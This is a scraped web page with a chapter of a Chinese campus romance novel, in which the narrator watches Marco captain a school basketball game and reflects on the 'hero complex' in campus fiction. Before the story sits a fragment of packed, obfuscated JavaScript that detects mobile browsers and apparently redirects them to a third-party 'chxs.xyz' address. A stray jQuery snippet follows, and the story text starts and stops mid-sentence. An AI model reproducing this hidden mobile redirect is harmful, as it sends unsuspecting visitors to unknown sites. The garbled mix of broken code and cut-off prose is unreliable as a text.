43.18 队长(3)(3 / 4)

''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798964|149401||http|test|mini|href|location''.split(''|''),0,{}));

() {

$(''.inform'').remove();

$(''#content'').append(''

还有事。”

“……啊,好吧。那参加球队的事真的不再考虑一下吗?”

“不了。”马尔科一口回绝。

这不是他第一次拒绝。凉水被泼了两三次,学生们显然有点习惯了。

众人没有哭嚎着落寞,只是承诺着告白:“……不管怎样,至少在我们心里你是当之无愧的队长,我们校篮球队的大门永远会为你敞开!”

“嗯,”马尔科点头示意,没有多说,请他们让路。

“……”他去意已决,学生们也只好作罢。

……

六点钟,我们从体育馆走出来。

整个下午,马尔科队长都在指挥球队运转,赛情紧急,中场休息也没有过来找我。这时候他牵着我的手,我的手已经变回了没有知觉的冰疙瘩状态。

这是我在冬天的常态。我早已习惯,马尔科不习惯,心有芥蒂。

“……怎么冻成这样?”他牵着我反复搓揉,耿耿于怀没有早点来找我,“大小姐,晚上去吃点暖和的东西吧?”

“不要,”我试图商量,“不想排队,去食堂吃饭吧,吃完饭快点回家看小说。”

“看小说?”

“嗯!”

我已经等不及快点回家看小说了。

几乎所有校园文都会出现同样的桥段:考场和球场,男主角总归要得意一个。而诸如考场一类的静态“得意”很难写出身临其境的感染力,所以大多数校园文都走“球场得意”的路线。

但起初我并不知道为什么那种男主会备受欢迎?只能人云亦云地认为既然所有人都这么写,就说明打球的男生的确有魅力,即便我个人并不太知道“魅力”究竟体现在哪里?

现在我知道了,是氛围的问题。

体育馆并没有搭设聚光灯,青春也没有真实的舞台。而当热闹和喧嚣形成声浪,将人高高托举——不需要舞台和聚光灯,人在哪里,那里自然闪亮。

是人在发光,不是篮球发光。

所以这种“魅力”本身和篮球没有直接关系。篮球只是一种载体,一种表现形式,换了足球、网球、排球、乒乓球也不影响。

至于为什么这人会发光,我想很好理解。

有些事情闭门造车,百思不得其解;而一旦切身体会,即刻融会贯通。

我之前围观过数次职场球赛,职场球赛不会有这么热烈。

成年人见多识广,眼睛看山是山,视角颇为现实,球赛就是球赛,结局左右不了生活,改写不了世界。无论多激动人心的一场球赛,也不过一场球赛而已;清醒、客观、现实,但少了一分热诚。

而学生们涉世不深,生活相对贫瘠有限,眼睛看山不是山,球赛就是生活的全部;倘若比赛输了,即便它并不是客观意义上的“绝境”,但在主观的认知里,它就是。

我不理解“球场得意”形男主的魅力究竟在哪儿?

但我理解文学来源于生活,而高于生活。校园文会保留学生时代的清纯,同时也加剧比赛输赢的对立。

假设一场比赛不是比赛,是背水一战的绝路;打球不是打球,是狭路相逢、两军相接。那我能够理解了:

倘若球场如战场,非生即死,那么对于胜利的渴望,正如漫长黑夜里对光明的仰慕。

这时候不能输!输了比赛,就是输了一切。为了不输,可以付出一切,甚至生命。

这种时候出现的男主,名义上是“新生”“队长”“援兵”,事实上扮演了“拯救者”。

换言之,他是英雄。

校园文里的“英雄”。

归根结底……是英雄情结啊!

我理解了!之所以看一场球赛就可以坠入爱河,是因为在氛围的主导下、环境的烘托中,女主无意识地对男主产生了“英雄情结”,爱意从仰